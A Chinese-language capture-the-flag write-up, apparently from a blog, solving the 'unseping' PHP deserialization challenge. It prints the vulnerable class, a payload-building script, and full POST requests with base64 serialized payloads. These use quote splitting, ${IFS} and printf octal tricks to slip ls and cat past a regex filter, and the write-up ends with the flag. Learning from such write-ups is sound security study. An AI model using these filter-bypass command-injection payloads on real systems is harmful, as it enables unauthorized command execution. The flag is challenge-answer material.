当前位置: 首页 > article >正文

Web:攻防世界unseping

目录

一、初见

 二、解题步骤


一、初见

        刚拿到这个题目,可以发现是一串PHP代码,关注到unserialize(base64_decode($ctf))函数,就知道是考php反序列化。

审计PHP类ease:

        __construct($method, $args) :构造器需要传入两个参数。

        __destruct():对象被销毁时候调用,可以看见这个函数的作用是判断method是否等于ping,等于则调用回调函数。回调函数的作用是将$this->args参数传参到函数$this->method(也就是ping)。

        ping($ip):内部调用exec($ip, $result)函数,这是一个 PHP 内置函数,用于执行外部程序或系统命令,带有两个参数,前一个是执行外部程序或系统命令,第二个参数是把执行结果存储,通常该参数是数组。var_dump($result):是输出变量的详细信息,也就是把命令执行的结果输出。

        waf($str):该方法是正则匹配过滤非法字符。

        __wakeup():是调用unserialize(base64_decode($ctf))时会调用的函数,作用是遍历数组,调用waf函数过滤非法字符。

分析可得:该代码的运行顺序是

        1、POST方法接收一个CTF参数值

        2、调用反序列函数unserialize(base64_decode($ctf))

        3、调用__construct()

        4、调用wakeup函数

        5、调用waf函数

        6、调用__destruct()

        7、调用ping函数     

        因为有exec命令,所以我们要构思如何让代码执行系统命令ls和cat进行查找和打开文件。可以发现对ls、cat、/、等都有过滤。我们可以通过八进制编码绕过或者Shell内置变量${IFS}等。为了调用ping函数,所以构造函数的第一个参数必须是ping。

 二、解题步骤

        有了思路开始构造序列化代码(反序列化的前提必须有反序列化),序列化代码必须包含类的定义。

<?php
 
 
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        //var_dump($result);
    }
 
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}
 
$ctf=new ease("ping",array('1234'));
 
echo base64_encode(@serialize($ctf));

?>

 这串代码获得了base64加密的$ctf对象的序列串,如下图所示。

         但这里我们还没有使用系统命令(给数组放入系统命令),尝试过滤写入,构造POST请求包。

$ctf=new ease("ping",array('l""s'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

运行结果:

 可以发现flag,推测是个文件夹,继续构造。

$ctf=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

 看到flag文件,构造cat命令,尝试打开。

$ctf=new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

最终发现flag:cyberpeace{e736ed0923c4a11df9eda0d29bcb6bdf} 


http://www.kler.cn/a/294538.html

相关文章:

  • 排序算法 - 冒泡
  • 三正科技笔试题
  • 《新智慧》期刊的征稿范围主要包括哪些方面?
  • ArkTs简单入门案例:简单的图片切换应用界面
  • WebSocket和HTTP协议的性能比较与选择
  • AWS认证SAA-C0303每日一题
  • 11Python的Pandas:可视化
  • Element Plus(Vue 3 版本)来实现图片轮播
  • P01-Java何谓数组
  • sheng的学习笔记-AI-概率图,隐马尔可夫HMM,马尔可夫随机场MRF,条件随机场CRF
  • 尝试用java spring boot+VUE3实现前后端分离部署(8/31)
  • 时间段切块算法
  • Flask中 blinker 是什么
  • 【Spring基础1】- Spring 启示录-理解IoC控制反转
  • 电脑删除的Word文件怎么恢复?快速恢复技巧分享
  • C++入门基础
  • Mail PHP: 如何设置SMTP服务器以发送邮件?
  • Vue 3结合Element Plus中,实现一个级联选择器(Cascader)来展示省市区
  • CSS解析:定位和层叠上下文
  • Elasticsearch 向量数据库本地部署 及操作方法
  • Learn ComputeShader 09 Night version lenses
  • 如何使用Prometheus与Grafana监控Kubernetes集群
  • 图论基础1
  • 重启顺风车的背后,是高德难掩的“野心”
  • 高分辨率音频和传统音频区别
  • 学习笔记--Docker